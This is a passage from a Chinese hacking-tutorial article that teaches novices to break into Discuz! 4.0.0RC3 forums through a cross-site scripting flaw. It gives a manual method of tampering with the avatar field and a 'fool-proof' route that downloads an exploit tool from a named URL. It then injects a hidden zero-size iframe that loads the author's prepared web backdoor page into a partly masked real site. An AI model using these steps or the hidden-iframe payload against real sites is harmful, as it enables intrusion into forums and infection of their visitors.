小提示：在 “控制面板首页”标签处，查看一下网页代码。只要大家稍有留意，便不难发现调用＜img src="www.gu**y.com.cn/images/avatars/02.gif" width="83" height="94" border="0"＞的图片地址。调用代码是＜img src=“$avatars”字符,所以我们可以构造一个Radio的控件值，来修改的选定值。需要用到DreamWeaver网页设计软件，或其他的网页制作软件来修改，才能自动转义其格式。而不要使用记事本的形式修改相关数值，否则会导致整体内容错乱。

    二、工欲善其事必先利其器

　　也许繁琐的手工入侵法，不太适合菜鸟使用。不过没有关系，笔者又为众菜鸟们量身定做了，一套“傻瓜式”入侵套餐。此套餐的宗旨就是让有无基础的菜鸟朋友，都可以按着下文介绍的方法，来入侵高级版本的Discuz论坛。

　　前提条件：首先下载Discuz!4.0.0RC3漏洞利用工具（下载地址：http://blog.blackwoods.cn/up/DiscuzExploit.exe），这里下载速度较慢的朋友，不要发愁。该软件已收录到本期配套光盘中，还请读者朋友注意查收一下！

　　步骤1.双击下载到桌面的“漏洞利用工具”图标，弹出程序界面（如图4），然后在第二步的文本内容处，敲入手动跨站成功的地址（www. gu**y.com.cn/）。操作完毕后，单击下方“读取参数”按钮，这时需稍等片刻后，才会出现读取成功的对话框（如图5），并单击“确定”按钮即可。

图4漏洞利用工具


图5读取参数

　　小提示：本文手动入侵和工具入侵，都是采用同一个站点做列题讲解。所以在工具入侵中，有关软件界面提示，第一步需注册站点用户，这里已经在手动入侵中注册完毕，并且已经保存了COOKIES登陆，因此笔者为了避免重复讲解，跳跃了过去。如果您在漏洞站点中，还没有注册过用户的朋友，请先去注册用户，然后在执行步骤1中的方法。

    步骤2.在第三步跨站内容处输入所要插入的恶意代码，如果此时你对代码知识一无所知，可以参考左边代码助手，标签中的三个按钮（如图6）。这里笔者单击“插入IFrame”按钮，会在所需的跨站内容处，出现＜iframe src='' width=0 height=0＞＜/iframe＞的字符代码。然后在＜iframe src的等于后面，填入www.fa***d.com\fda.asp的网址，这是笔者事先制作好的网页后门地址。

图6代码助手

上一页  [1] [2] [3] 下一页